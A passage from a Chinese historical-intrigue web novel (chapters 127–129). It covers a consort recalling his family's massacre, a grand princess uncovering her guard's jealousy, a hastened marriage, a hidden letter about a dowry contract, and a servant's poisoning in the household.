所以驸马还是可以自由自在地当京师最风流倜傥的公子,还是可以踏马观花,吟诗喝酒。 直到在长安街上,他穿着一身新作的鹤衣,大笑着正与友人们炫耀时,突然见到友人们惊恐变色。 而后驸马只觉得浑身一轻,天旋地转,下一刻突然落在一个硬邦邦的怀抱里。 穿着明光铠的女人抱着他大笑,说:“你长得真好看,做我的驸马好不好?” 这女子瞧着比他还大几岁,完全不像是驸马往日认识的女子那般温柔多情,她明艳动人,如明光铠一般威严又迷人。 在花朵与柔软织物里长大的驸马,人生第一次遇见塞北黄沙一般的女子,他几乎就是在那一瞬间,爱上了眼前的女子。 “是的,其实是我第一眼就喜欢上了你娘。”驸马看着震惊的儿子,笑了笑,脸上带着一丝温柔与怀念。 他的爱和喜悦无法作假,周乐天看得清清楚楚。 这与周乐天道听途说的故事完全不一样,他不可置信地说:“可是坊间都传、都传……” “都传是你娘抢走我,把我关在公主府,是吧?”驸马问。 其实传言更为不堪,但是大致上确实是如此,且有心人说是公主不让驸马出门,怕别人看到驸马的脸。 周乐天自小也是听这些流言长大的,甚至他也曾以为父亲发病也是因为被关出来的问题。 驸马知道他在想什么,笑了笑,摇头,轻叹着说:“如果你娘真的想,我是真的愿意一辈子足不出户。可惜……” 可惜大长公主并不是单纯地贪图他这个人的姿色。 当初长安街上的抢亲,不只是单纯的见色起意,是那时大长公主与当今圣人争夺储位到了最为焦灼的阶段,当时王相上书,说当今已经成婚,而公主却无家无子,且女子成婚生子总要耽搁事情,不利于继位。 还上书请大长公主为天下妇人表率。 大长公主大怒,下了朝看到驸马,就直接当街抢亲。 这事儿其他人觉得是风流韵事,但是驸马很多年后才看明白,这是权利博弈的结果——公主用当街抢驸马一事,在宣告全天下,别想用拘束妇人的手段对付我,我乃开国的沙场将军,是武安君,是永远掌握主动权的那个上位者。 “你母亲抢走我,不但能成婚生子,不叫当今专美于前,且还顺便打了那帮前朝酸儒的脸。”驸马叹了口气,神色涌起苦涩,说,“可是这是我过了十几年才想清楚,当时我看不明白,我真以为她只是单纯地心悦我。” 所以谢家牵扯到营救前朝血脉、妄图光复前朝的大案时,驸马自不量力,哭着用自己的性命求大长公主找先帝求情,饶过他家的家人。 他不明白,谢家盘踞几百年,已经成为可怕的庞然大物,先帝乃是雄主,卧榻之侧岂容他人鼾睡,而公主这样的人,又何尝容得下谢家这个隐患? 公主严词拒绝了他。 他撒泼打滚,在府里闹。 “就是那时候,才叫刘仁的父亲抓住了机会,竟得了你娘的喜欢。”驸马说到这里,脸上浮现出愤恨之色。 周乐天怕他犯病,立刻伸手去安抚他,驸马抓住儿子的手,才勉强镇定下来,他苍白的脸上因愤怒浮起红晕,愤恨地说,“他上位也就罢了,但是我的病,是他,他当初杀了谢家满门就算了,还以公主的名义来后宅看我,带着谢家的……你在做什么?你在做什么?你不要过来!” 说到关键时刻,驸马脑子大受刺激,突然害怕地一把推开周乐天,歇斯底里地往榻上蜷缩。 驸马身边的老妈妈立刻冲出来,熟稔地安抚驸马,周乐天立刻带着来福出去,听到里面很快安静下来。 老妈妈疲惫地走出来,对周乐天说:“驸马睡下了,侯爷,您快去休息吧。” “父亲说,刘仁他爹到底做了什么,到底怎么害得我父亲发病的?!”周乐天立刻追问。 老妈妈叹了口气,不想说。 “父亲今儿告诉我,定然有他的计较,妈妈,你告诉我吧!”周乐天立刻催问。 老妈妈想了想,觉得有道理,便低声轻声说:“当初,飞星公子奉命查抄谢家,杀了谢家满门不说,还带着老爷最小妹妹的人头来后宅,打开给老爷看。” 周乐天气得牙齿紧咬,怒声说:“他好恶毒的心肠!” 老妈妈擦了擦眼泪,说:“此人在公主面前很会装相,老爷哪怕在谢家也是最受宠爱的,老祖宗护着、父母宠着,哪里见过这种场面?当场就被吓得昏过去,醒过来之后就不认人了……若不是老爷不认识人,哪里能叫那贱人爬到公主身边去,还不知陷害了老爷和您多少回……” 周乐天小时候在京师长大,后来去了西北,刘仁的父亲早死了,从未见过此人,也是第一次知道这桩陈年往事,他怒声问:“母亲也不管的吗?” “他说前面说公主在屋里,他进来是复命的。前后查了都对得上,哪怕打杀了下人又如何?咱们老爷却再好不得了……”老妈妈擦着眼泪,哽咽地说,“此人自小跟在公主身边,是公主从死人堆里捡回来的,他性子阴毒,公主却一直把此人当作心腹,从不怀疑,加上谢家没了人,老爷好容易醒过来也想不通,对着公主说了许多断情绝意的狠话,又是那一剑……到后来,便是您知道的样子了。” 周乐天哪里能不知道呢? 他年少时在太后身边长大,陪着父亲,听了无数流言,心中怨怼母亲,对母亲极为生疏,因为他一直觉得母亲太过狠心,把父亲抢回家,却不闻不问,像是关着一只漂亮的鸟一般。 他竟还不知道,这里头还有这么一桩往事。 他想说什么,可发现一时百味杂陈,竟什么也说不出来,一时竟痴了。 老妈妈目送着周乐天远去,回了院子。 院子里,驸马躺在榻上,看着像是睡着了。 老妈妈走过去掖被子,轻声说:“老爷,公子回去了。” “他瞧着如何?”驸马轻声问。 “公子瞧着有些可怜。”老妈妈轻声说。 “他是个很好的孩子,心善。”驸马叹了口气,轻声说,“今儿的事情,公主的人可听清楚了?” “听清楚了,这会子已经去东府,应是去复命了。”老妈妈回。 “那就好。”驸马松了口气,十分疲惫地说,“我这身子愈发不成了,走之前,总得给他铺好路才是。” 老妈妈眼泪下来了,轻声说:“爷,您何苦,临到这个时候,还对公主服软……” “我恨了她一辈子。恨她不公,恨她对我狠心。”驸马眼角流下一串清透的眼泪来,轻声说,“可到现在,我只想走之前,替乐天铺好路,总不能叫那阴毒贱种骑在乐天脖子上过下半辈子!” 说到最后,驸马的脸上露出狠色。 老妈妈流泪,轻声说:“只是爷受委屈了,您一辈子,何尝对人低过头?” “以前?”驸马眼泪止不住地流,他轻声说,“谢家没了,我这谢家幺儿算的什么呢?” 第一百二十七章 婉淑婚事 大长公主听完了驸马和周乐天的所有话,沉默地看着京师的沙盘。 叶英弓着身体,一直安静地等待着。 过了很久很久,大长公主才说:“之前查婉玉那孩子的事情,查到什么地步了?” “府里人没送礼给婉玉姑娘,这些年在京师未曾有走动。”叶英躬身,小心回答,“查出来,此事是飞星公子吩咐下去,但是下头人没有放在心上,贪墨钱财……” 大长公主轻声说:“当初上谢家满门抄斩,我是不是也曾吩咐,叫家里不许惊动驸马?” 叶英低声回:“是。您吩咐全府上下,不许任何人将此事透露给驸马,等着您办好事回来慢慢说。” “谢家最小的那二娘,驸马最疼爱的小妹妹,我是不是也吩咐飞星去先救出来?”大长公主轻声问。 叶英声音更低了,说:“是,您说那不过十来岁的小姑娘,翻不起什么风浪,怎么也要给驸马留个念想。是飞星公子说谢家撒谎,不肯指出谁是谢家二娘,才杀错了人。” 大长公主长叹一口气,突然说:“是我的错。他对我忠心耿耿,可以为我去死,却不代表他会老老实实心甘情愿替驸马办事。” “您事务繁忙,从不注意后宅之事,先帝身边除了太后娘娘也没有其他人,您年轻时不懂这些,也是常事。”叶英立刻安慰,说,“便是我,也从未想到当年竟是如此。” 看大长公主面色沉稳,叶英却看得出来殿下心中激荡,立刻开口说:“只是飞星公子针对驸马,我尚能理解,可为何连婉玉姑娘都不愿意出手照拂呢?” “白虹,滚进来!”大长公主突然对书房外扬声呵斥。 门口伺候的女将白虹立刻进门跪下,紧张地问:“殿下有何吩咐?” “你和飞星关系好,你给我说,说清楚,为何飞星会故意针对婉玉!”大长公主开始还压着火气,到后来,已经是怒声呵斥! 白虹一惊,想说什么,叶英立刻开口,说:“白虹,你想清楚,此事公主已经查出来眉目,你若是撒谎,当以谎报军情处置!” 白虹虽然会因为当年情分,对飞星以及刘仁照顾,但是她效忠的对象一直只有大长公主一人,此时也不敢隐瞒,立刻磕头说:“属下也是这次才知道飞星公子未曾按吩咐照拂婉玉姑娘,至于原因,属下也不知。” 她说的是实话,大长公主看得出来,脸色立刻稍微好看了些。 “你跟飞星关系好,他可跟你透露过什么?”叶英立刻追问,“难道是关娘子当初得罪过他?” “绝无此事,关娘子性子好,素来与我们关系都十分好。”白虹说到这里,突然神色一变。 “你想起什么了?”大长公主立刻冷声问。 白虹垂眸,嗓子有些发紧,说:“飞星公子,性子、性子有些执拗,殿下您也知道。” “直说。”大长公主不耐烦地说。 白虹不敢耽搁,便立刻说:“当初飞星公子得了殿下宠爱前后,但凡有想凑上来献殷勤的,都叫飞星公子整治过。” 白虹当日还笑他,说他难道还想叫公主守着他一个人过日子? “公子当时说,虽不敢约束公主,但是谁要在殿下面前献殷勤,得看看谁命大。”白虹说到这里,紧张地一闭眼,豁出去,说,“我当日说,公子不可妒忌心太重,最紧要的是不能耽搁殿下的正事。公子回我,说殿下用得上的,他定然不会做什么。” “你绕了这么一大串,到底想说什么?”叶英听得云里雾里,立刻开口,说,“你说的这些,和婉玉有什么关系?!” 白虹闻言,汗透衣襟,俯身以首贴地,说:“公子说的人里,包括关娘子。” “你说什么?!”叶英都愣住了,大长公主也愣住,而后呵斥:“荒唐!这里头有什么关系?!” “公子说,您天底下最在意之人,非关娘子莫属,若您是男子,只怕早娶关娘子为妻,便是驸马也越不过这份情分。”白虹只觉得全身都汗湿了,可是却又不得不回,“飞星公子心中妒恨,能针对驸马,却不敢对关娘子下手,他说,驸马出事,您会责备他,但是若是关娘子出事,您会杀了他。” 大长公主听到这里,怒声说:“荒唐!” 她从不知道,一直在自己面前听话乖巧的暗卫首领,竟是如此偏激狭隘的性子。 他妒忌她身边任何人,不论男女,只要是她重视一些的,他都看不过眼。 “你不会是在污蔑飞星?”大长公主不敢置信,盯着白虹。 那压迫力叫白虹全身冒汗,但是她没有撒谎,因此说:“殿下只管去查,若是有一句谎话,属下愿受任何处罚!” 白虹敢这么说,定然是没有撒谎。 当然,她也会去查清楚。 可是大长公主还是觉得很荒唐,她揉揉眉心,不可置信地说:“因为我宠爱驸马,他就要对驸马动手,因为我与素素关系好,他便连婉玉都不肯照拂,放着婉玉在京师叫李家人欺负?” 大长公主说完,眉头皱得更紧了,她不能理解飞星这到底是个什么性情,只能叫白虹:“你回去,查清此事前不许出门,更不许见仁儿。” 白虹立刻领命出去,大长公主问叶英:“你能懂飞星这是什么意思吗?” 叶英也不理解,说:“属下实在不知。与驸马那是争风吃醋,尚能明白,但是关娘子与您不过是姐妹,又早已嫁作人妇,他竟如此也容不得,实在是心胸狭隘。” 大长公主也是一叹,忍不住说:“难怪仁儿那个性子,原是随了他爹。” 说到这里,也不想再计较这些,大长公主便说:“驸马这些年是委屈了,当初那事儿,是我没有处理好。” 当初闹大之后,其实大长公主也想过好好安抚他,处置飞星。 可是驸马醒过来就神志不清楚了,她也不知道,反因为他疯疯癫癫要与自己拼命而拂袖而去,竟不再见他。 “当初驸马刺了您一剑,差点就伤到要害了,其后马上就是先帝驾崩,您连夜就要去西北,这一切都不是您的错啊。”叶英闻言,立刻喊冤,说,“谁能知道驸马当时是出事了,此事不也是过了好些年、平安侯长大了咱们才知道么?” “此事大约也是飞星的手笔。”大长公主叹了口气,复杂地说,“可他已经为我而死,我到底不能再做什么。” 大长公主想了想,便对叶英说:“此事压下去,驸马那边,安排太医过去问诊,好好调理。乐天那边……先不用管他,倒是仁儿……” 大长公主点了点桌面,说:“他这些日子带着那个妾室,行事张狂得很吧?” “是,那妾室打扮比太子良娣还奢侈,众人私下都议论呢。”叶英小心地说。 “他以为钰儿七情不开,陛下身子不好又膝下空虚,便想得多了吧?”大长公主摇头,轻声说,“他不是那块料,赶紧安排秦家大姑娘进门,把他管着,别给我惹事。” 叶英这是破天荒头一回听到殿下对刘仁这么肯定地安排,竟再无一点回旋余地,心中知道当年的事情,已经用完了刘仁生父在大长公主这里最后一丝情分。 她本就更看好周乐天,这会子心中开心,连连点头,立刻去办事。 公主府那边变动,李家这边也出了事情。 关怀素一醒过来,就听说家里来了媒人。 “是赵家派来的,说是想把三姑娘的婚事往前提,也不知为何突然这么着急。”丁妈妈轻声说。 孙大娘子也在惊讶,问:“怎地突然这么着急,淑儿还未及笄呢!” “老爷说媒人在前院,您去了就知道了。”雪沫回。 孙大娘子听着就觉得不对劲,也不好说什么,她现在不比以前在李珺面前有脸面,只能匆匆收拾病容,一路往前院去。 到前院,却是李珺已经商谈得差不多了,见到孙大娘子,媒人便笑嘻嘻地说:“那此事便定下来,过几日便送选好的日子过来给大人和娘子挑选。” 说完又一叠声地说了吉祥话,一路出去了。 孙大娘子等人走了才低声问:“赵家可是有什么不方便?” 李珺轻声说:“不是什么大事,是二郎那小子不小心,通房有了身孕。” 孙大娘子一听,登时大惊失色,脱口而出:“怎能如此!那我的淑儿怎么办?!” “什么怎么办?”李珺觉得她大惊小怪,皱眉说,“又不是什么大事,那通房与二郎自小一起长大,发现的时候月份也大了,不好落胎,赵家说了,到时候生下来,只管送去庄子上,长大了置办一份家业,自去娶妻或是发嫁便是,决计带累不到咱们淑儿!” 这话说的,李珺敢说,孙大娘子可不敢信,她看着李珺,有些凄厉地说:“那怎么能成?那丫鬟能瞒的月份大了才被发现,还勾着二郎叫赵家都不敢处置他,就知道是有本事的!我淑儿还没过门,便叫人把孩子生在前头,那算怎么回事?!” 见李珺皱眉,显然觉得自己无理取闹,孙大娘子心中痛苦,眼泪一串下来,说:“我这辈子便一直叫妾室压着过日子,那是我不好,谁让我没个好爹?可淑儿可是夫君你的亲生骨肉啊!” 这话说得李珺面皮一紧,登时恼怒,有些生气地说:“你说什么?我何时叫你吃过妾室的苦?妙人对你也是恭敬有礼,素日见到你,哪次失了礼数?” 说完看着孙大娘子,见她满脸病容,神色憔悴,性子又不如之前那般体贴。 再想想自己罢官,还是因为她的缘故,李珺最后一丝耐心也没了,不愿再哄她,冷厉地说:“我瞧你这些日子生病,真是人都糊涂了,你且回去养着,日后好了再说!” 这话说完,竟是转头过去自去看书,再不看孙大娘子。 孙大娘子愕然站在原地,想说什么,可是她到底大病初愈,还真是没有心力,只能勉力行了个礼,自回屋里了。 婉淑也听到了消息,这会子在孙大娘子屋里等着,看到阿娘脸色发白地回来,一时也不敢问,只扶着她再次躺下。 孙大娘子看到她惨白的一张小脸,眼泪唰一下就下来了,搂着婉淑第一次痛哭失声,大喊:“我苦命的淑儿啊!” 孙大娘子在婉淑面前一贯是精明强干,哪怕前些日子连逢巨变也从来没有如此情态,这一下唬得婉淑也不知道发生了什么,跟着抱头痛哭。 扶芳屏退下人,只叫人在外头候着,自己在屋里伺候,静等孙大娘子母女哭完。 孙大娘子哭完,头脑也彻底清明下来。 她擦了擦脸,又给婉淑擦了擦脸,轻声说:“不哭了,淑儿,一点小事,是阿娘最近病糊涂了,竟一时失了分寸。” 婉淑不敢相信,只说阿娘有什么事情只管说,不要骗她。 孙大娘子便把赵家的事情说了,末了连与李珺的争执也说了,叹了口气说:“是我最近病糊涂了,你爹自个儿也是如此,自然不觉得二郎行事有什么不对。” “大弟弟身边那丫鬟有孕,父亲可是发了大火,打了孩子还把人赶了出去。”婉淑却双目无神许久,突然开口说,“若是父亲觉得二哥哥没错,怎么会生大弟的气?” 看孙大娘子语塞,婉淑突然冷声说:“因为大弟要顶门立户,他要嫁娶好,才能光耀门楣,所以大弟的妾室有孕,父亲会大怒。而我……” 婉淑冷笑一声,说:“我嫁赵家,是高嫁,受些委屈是应该的,就像阿娘嫁给父亲,父亲不就是看上阿娘隐忍小心吗?” 此话说完,孙大娘子心中大痛。 “我的儿啊……”孙大娘子心痛至极,一方面觉得女儿这样,提前嫁去赵家,自己也不担心了,可另一方面何尝又不心疼?于是一把抱住婉淑,拍打着她的背,只哭着说,“我的儿,你受委屈了,都是阿娘拖累了你。” 婉淑还没及笄,婚事提前就算了,还是因为一个通房有孕的事情,为了遮掩才匆忙提前,她还没过门就有了庶长子或是长女,如何不难受?因此抱着阿娘,也是哭得不能自已。 她情难自已,想到家里姐妹,忍不住哭着说:“家里三姐妹,二姐姐虽是妾室,前些日子参加宴会,打扮得比良娣还奢华,在安乐侯府也是独宠,日子瞧着就从容惬意,大姐姐更是不得了,从走廊上跌下来,平安侯老远跑过去巴巴接她,轻身功夫都用上了,良娣那边闹完了还舍不得松手!” 她哭着说着,孙大娘子却是一愣,都忘了哭婉淑命苦,立刻紧张地追问:“这是怎么回事?” 最近孙大娘子事情太多心力交瘁,婉淑还没来得及说,这会子孙大娘子追问,她便说了宴会上的事情。 孙大娘子立刻追问:“平安侯与你姐姐平日瞧着亲热吗?” “平日瞧着倒是正常,京师水道解决之后,也没什么接触,就是上回在良娣那儿的时候,良娣叫平安侯陪着姐姐游湖,侯爷还弄湿了衣衫……良娣与大姐姐真是关系好,竟什么事儿都想着大姐姐!”婉淑说着说着,又忍不住带着怨气说,“不知道的还以为大姐姐才是她未来的嫂子呢!” “你这是什么话!”孙大娘子立刻皱眉呵斥,“这话若是给人听到,你日后在赵家如何做人?” “我也就是在阿娘这里说说,出去了还能怎么着?”婉淑甩着帕子,哭着不开心地说,“我如今都这样了,阿娘怎么还说我?” 孙大娘子也心疼她,立刻抱着她说:“你也要成婚,你大姐姐是留不得了,刚巧趁着这个机会把她发嫁出去,赚些钱财来,给你再贴补些嫁妆。” 赵二郎身边的通房竟能留下孩子,日后婉淑过去,只怕是有劲敌,孙大娘子想给婉淑再多留些钱财傍身,日后去了赵家收买人心才方便。 “平安侯看着,公主也照拂,娘还能拿捏大姐姐吗?”婉淑哭着说。 “我是不成,但是你爹可以啊!”孙大娘子压低声音说,“公主也就先前及笄的时候来了一回,后来也没再见来家里,原先应是想着叫她做儿媳,也算是不忘旧的意思,如今应是瞧着你大姐姐没用了,也没太多来往了。殿下身份尊贵,没空一直管她的。” 但是到底也是心里没底,她当初对关家做的事情,虽然缜密,但是确实也亏心。 李珺难道不亏心? 天塌下来有李珺顶着,孙大娘子心里发狠,无论如何要把此事给定下来,且要抢在婉淑的前面,才能叫婉淑的婚事办得体面。 这么想着,孙大娘子就对扶芳说:“我屋里那个黑色的首饰盒,你把它拿出来。” 便是关怀素母亲留下来的那首饰盒。 婉淑伸头去看,看着里面都是精巧的孩童首饰,大多是金饰,极为精巧,便忍不住说:“阿娘,这是给我备的嫁妆吗?” “这是关娘子给你大姐姐留的,三岁之前的长命锁、童子镯都在里面。”孙大娘子看完,关上首饰盒,说,“扶芳,你亲自把这东西送到大姑娘手里。跟大姑娘说,我给婉淑收拾嫁妆,发现这东西竟落在我这儿了,今儿便物归原主。” 扶芳愕然,婉淑也惊讶地说:“阿娘,何必便宜她!” 孙大娘子摇头,对扶芳说:“跟大姑娘说,这里头一色东西都是两份,她娘应是想求子,可惜没用上,如今给她,望她以后能开枝散叶、子息繁盛。” 扶芳拿着东西去了,婉淑不解地说:“阿娘,难道你想交好大姐姐?” 孙大娘子轻声说:“那就看你大姐姐如何理解了。” 若是做贼心虚,定然要怀疑自己身份是不是暴露了,在自己面前,必然会气弱三分,日后谈起事情,好歹有个顾忌;若是没想太多,觉得自己示好,能放下心防,那就更好了。 这回她不会把事情做绝,她会找个人品和才华都确实不错的年轻郎君,最好是能随着父母上任的高门大户之子,先把她弄出京,离了众人眼皮底下,如此便好了。 反正无论如何,她这个冒牌货也是李家的女儿,难道还能翻了天去?孙萍得意地想。 而关怀素得了那首饰盒,登时便想明白了孙大娘子的想法。 不过,可惜孙大娘子没想到,关家工学独步天下,自家的东西,别人翻来覆去都查不出什么,到了关怀素手里,却一眼能看出来机窍。 她这回,怕是自作聪明,反而给关怀素送了一个寻找许久而未得的重要消息。 扶芳离开之后,关怀素叫柳叶关上门,看着那胖胖的禅,左右推开两侧,摸到侧面,轻轻按压了一下。 下一瞬间,机扩轻响了一下,侧面猛地弹出来狭长的匣子。 关怀素从里面拿出来了叠的细细的一张纸。 丁妈妈眼睛都瞪大了。 关怀素展开纸团,上面空无一物。 关怀素神色不变,叫柳叶:“拿盐水过来。” 柳叶匆匆出去,没一会儿端了一碗盐水。 关怀素伸手,拘了点盐水,轻轻地弹水渍在纸条上。 上面慢慢浮现出密密麻麻的娟秀字迹。 第一百二十八章 下毒 “天不假年,吾已时日无多。吾与李家约定,待女儿及笄之后,吾之嫁妆,全数由女儿李婉玉继承。 吾与夫李珺画押为证。 师兄闵志杰为见证。 日后若有争议,可持盒盖上信物金蝉于京师同仁堂传信,联络闵师兄为证。” 这封信娟秀却虚浮,看得出此人写得匆忙,且体力不支。 关怀素眼圈模糊,却不敢流下来,怕打湿书信。 她眨眨眼睛,移开最上面这张纸,果然看到下面是一张契书。 上面约定关素问嫁妆必须全部给李婉玉继承,在及笄之日将所有契书、钥匙都交付给李婉玉,并约定期间十五年产生的利息与收益全部无偿送给李家,若是期间有损耗,至少交付给李婉玉七成嫁妆。 这是一份极其宽厚的条件,十五年,经营得当的话,足够赚一份与当年母亲差不多的嫁妆出来,且约定之中,李家的房子、祭田等等,母亲也并未索要。 只可惜,人心不足蛇吞象。 关怀素终于知道李家人为何如此苛待姐姐、为何在姐姐及笄之前会被谋杀,原来一切的根源,都在这份契书上。 几年前闵叔叔回京,肯定是与姐姐说了什么,指不定还叫姐姐知道了这份契书的事情! 所以李家人容不得姐姐活下去,他们不想叫姐姐分钱,自然要害死她! “姑娘,你别哭了,仔细眼睛。”柳叶也看到了,她也在流泪,她哭着劝关怀素。 丁妈妈不识字,着急地问:“姑娘,这是怎地了?” 柳叶瞒着关怀素的真实身份,把能说的全说了,丁妈妈登时目瞪口呆,惊恐地说:“如此,岂不是李家人全数有问题?!” “当然是!”关怀素恨恨地说,“从李珺到老夫人,到崔小娘、到大娘子,每个人都吃着关家的血肉,还下毒害我关家人!” 事已至此,关怀素再不留一丝情面,对丁妈妈说:“上回叫陈渠办的事情可还有眉目了?你叫他快些!” 丁妈妈立刻说:“他怕在京师找的人面熟,特地去了一趟江南,找了个面生的老手,最近大哥儿已经上套了,定不会耽误姑娘的事情,姑娘只管放心!” 关怀素擦眼泪,恨恨地说:“此事查清楚,若是我娘的死真的有猫腻,我要他们全部赔命!” 说完,她在盒子边上按了一下,那两只胖乎乎的蝉果然“咔嚓”一声,直接掉了下来。 关怀素把蝉握在手里,准备第二天一大早就出发,去同仁堂传信找闵叔叔。 “姑娘,若是娘子的死真的有问题,你说老爷会知道的吗?老爷有参与吗?”晚上,柳叶也睡不着,轻声问关怀素。 “你还记得永年县里,曾经有妾室逼死原配的事情吗?”关怀素小声问柳叶。 柳叶当然还记得,她立刻说:“记得,高员外家里的事情,后来县太爷说不好判案,还叫老爷过去掌眼呢!” “那你记得祖父过去之后怎么判的吗?”关怀素小声继续问。 “记得。”柳叶回忆起来,轻声说,“老爷说,一家之主,又非老迈昏聩,怎能不知发妻被妾室折辱?不过是故作聋哑,放纵小妾罢了,若无老爷默许,这妾室不敢如此嚣张跋扈,算计起来,这妾室罪五分,这老爷却是十分。” 说到这里,柳叶登时醒悟过来,对关怀素说:“姑娘的意思是,李家这里,也是如此?” 关怀素冷声说:“这后宅不过方寸之地,能在吏部混出头,还能叫王相青睐的人,你觉得会是傻子吗?” 柳叶立刻摇头,关怀素便冷笑一声,说:“而且你仔细想想,娘要和离就死了,便宜的是谁?虽孙大娘子和崔小娘、老夫人都瓜分了钱财,但是这些钱财最终会落到哪些人的手里?而姐姐若是死了,最终拿到最大好处的都是哪些人?” “都是姓李的。是李辰文和李辰瑜,最后这些钱,二姑娘和三姑娘带不了多少,都会到两位少爷手里。”柳叶立刻回答。 说完她害怕了,紧张地说:“姑娘,有没有可能,一切皆是巧合啊?” “我原先也以为,但是这里头巧合太多,李家人心性又十分狠辣,如今我看起来,十有八九却绝非巧合了。”关怀素查到这会儿,已经心里有了底。 “姑娘……你别伤心。”柳叶闻言,伸手拉关怀素。 “我不伤心。”关怀素摇头,轻声说,“我有祖父,有妈妈还有你,故旧亲朋满天下,父母亲缘薄,也是天命。天道尚不能俱全,难道我反而求全责备?” 柳叶闻言,也是大大地松口气,立刻说:“就是,没姑娘这个女儿,是他没那个福气!” 二人说完话,便打算休息,准备第二日办事。 却没想到,今夜注定是个难眠之夜。 二人刚打算睡,却瞧见院子里,丁妈妈与小桃住的那屋子又点了灯。 “这都三更了,怎地还在点灯?”关怀素瞧着不对劲,便起身披了衣服,和柳叶一起去看看。 去了那边才发现,小荷正在狂吐。 “这是怎地了?”关怀素听到,立刻在门口问。 丁妈妈马上过来开门,见关怀素来了,立刻担心地说:“惊扰到姑娘了?小荷不知是白日那一口没吃好,晚上说肚子疼,已经拉了三回了,还在呕吐,我瞧着不好,正打算去叫姑娘呢。” 关怀素瞧小荷那奄奄一息的样子,着急地上前,给小荷号了一下脉,脸色一下子不好了,说:“小荷,舌头伸出来给我看看!” 小荷立刻伸了舌头,关怀素一看她舌根乌青,立刻便皱眉,怒声说:“她这是中毒了!” 丁妈妈大惊,也顾不得惊扰人了,立刻便开了院子门,去叫守夜婆子赶紧去请郎中。 郎中匆匆赶来之前,关怀素已经拿皂角水给小荷灌了三碗,小荷喝了之后大吐一番,只觉得整个肚子都翻江倒海。 但是吐完之后,慢慢地竟觉得松快不少。 等到郎中来的时候,号脉之后立刻便说:“得亏是催吐及时,没伤了根本,喝药一段时间,祛了毒性,这小姑娘养得壮实,静养三五个月,便好了。” 众人登时都松了一口气,因管着家里事情,半夜被惊醒赶紧来看的宁小娘闻言,立刻大怒,说:“这又是怎么回事,好好地在家里怎么会中毒?麻烦您老人家给看看是中了什么毒?” “小荷,你白日吃了什么,告诉郎中爷爷。”关怀素立刻叮嘱小荷。 小荷闻言想了一下,说:“都是厨房里送来的东西,没别的……啊!” 说到最后,小荷突然惊醒了一下,想起了一件事情,她说:“今儿个晚上,厨房里有个妈妈说,老爷说已经到了小暑,天气益发热了,便吩咐家里每天晚上给各房主子都添一份陈皮红豆沙冰碗,我送过去的时候,姑娘说今儿不想吃,便赏了我。” 小荷说到这里,说:“我是吃完冰碗才肚子痛的!” “那冰碗的底可还在?”郎中便问。 “不在了,吃完便把碗碟送回厨房了。”小荷立刻摇头。 “那可有吐出来的残渣?”郎中问。 这东西倒是还有,就是脏污的很,好在老人也不嫌弃,接过之后仔细看了一会儿,从残渣里捞出一块细细的渣来,辨认之后,叹了口气,轻声说,“这是生何首乌皮,这东西毒性极大,还磨得这般细,发散的更快,若不是吐的及时,等到老夫到的时候,只怕早已经一命呜呼了。” 这话说得家里人神色都巨变! 宁小娘勉强带着笑容,重重赏了郎中,便叫云青亲自送郎中出门。 等到郎中一走,宁小娘立刻说:“大姑娘,这是冲你来的!” 关怀素何尝不知道? 她冷笑一声,说:“我素日饭食都谨慎得很,从来都是丁妈妈亲自去拿,中途不经过任何人的手,就是防着这种事儿。” 厨房打死都不敢给各房人手下毒的,这出事就是个死,不管他们有没有参与,都难辞其咎。厨房的人也十分警惕,也怕被连累。 所以想在饭食里下手,一般都必须在路上下手,这样查下去也查不到他们自个儿身上。 便是那送饭食的人,可能都是被找来的替死鬼。 果然丁妈妈问小荷,今儿送冰碗的是谁,小桃说了后院里的一个婆子。 宁小娘一听就脸色冷下来了,说:“这是我最近使唤得多的一个婆子。” 兜了一圈,此人竟把下毒的事情弄到宁小娘头上了! “此人想一箭双雕,害死我或者屋里人,到时候查下去,查到小娘身上,虽不至于动摇什么,但是能叫咱们起了嫌隙,或是叫父亲疑心,便是好事。”关怀素闻言,立刻开口说。 她这么一说,宁小娘脸色一下子好了许多,拧着帕子,恨声说:“得亏你爹今儿没在我屋里,我没贪睡,赶紧过来照料着,否则岂不是叫我百口莫辩了?” “小娘放心,就算小娘没来,我也不会信。”关怀素摇头,说,“若我死了,或是我屋里人出事,小娘能有什么好处?” “那是,我还仰仗着大姑娘呢!便是管家的时候遇到许多事情,还得您慢慢教我,若是你出了事,我只怕家都管不下去了,定要出纰漏,到时候白便宜了大娘子或是崔小娘……”说到这里,宁小娘一愣,而后说,“等下,大姑娘,不管是你还是我出事,能得最大好处的人,便只有大娘子和崔妙人啊!下手的人,定然是这二人其中一个!” 说完立刻说:“叫那婆子快来!” 竟是不肯叫关怀素误解,当场要审个清楚! 关怀素刚好也睡不着,便叫小荷喝了药快些休息,带着宁小娘回自己屋坐着。 几人坐好,今儿送冰碗的婆子也进来了,进门就战战兢兢地跪下,想是在路上知道小荷中毒的事情了。 一跪下她就怕得眼泪出来了,立刻开口,说:“小娘赎罪,大姑娘赎罪,我、我也是想在主子面前露露脸,实在是不知道那冰碗有问题啊!” “是何人让你送冰碗的?”柳叶打断她诉苦,立刻问重点。 那婆子才像是想起什么似的,立刻说:“是厨房里头的帮厨婆子!她说她不知为何闹肚子,实在是着急,叫我帮个忙,我想着也能在大姑娘跟前露露脸,便接了……” “那帮厨婆子是个老人了,二姑娘出嫁时带了几个用得惯的帮厨,厨房缺人手,才从三等杂役那边补过去的。”宁小娘管家,认识的人也多,这会子立刻回忆起来,说,“是个老实本分的,素来也不打眼。” 线索到这里就断了。 大晚上的,也不能惊动太多人,关怀素心里有了底,便对宁小娘说:“小娘明儿个再去查查,查一下那帮厨婆子可还接触了其他人,我怀疑这事儿到这里就查不出什么了。” 宁小娘知道她的意思,那帮厨婆子怎么就恰好那么凑巧肚子疼,指不定就是被人动了手脚不知道,中途可能还离开过食物好几次。 不常在厨房里干活的人,就没警惕心,以为自己离开一会儿,在家里也没事。 殊不知就这一会儿,就可能是性命大事! “难道叫害人的人就这么溜了不成?”宁小娘怒气冲冲地说。 “小娘放心,我心里有数。”关怀素见她气愤,便轻声安慰,“这些人如此急躁,想来是日子益发不好过了,小娘日后也要谨慎。” 宁小娘点头,拉着关怀素的手,说:“我只担心你,这家里瞧着风平浪静,可连这种毒都敢下,可见是有人极其不待见你。” 她拉着关怀素的手,用力地握了握,说:“大姑娘,万事小心,若是有什么要我帮忙的,只管来对面找我。” 关怀素一笑,认真点头。 如此闹到深夜,关怀素终于与柳叶匆匆入睡。 第一百二十九章 再议婚事 到了第二天,一大早李珺召见,说早上得知小荷中毒的事情,查出来厨房里做给其他人的冰碗都没有生何首乌。 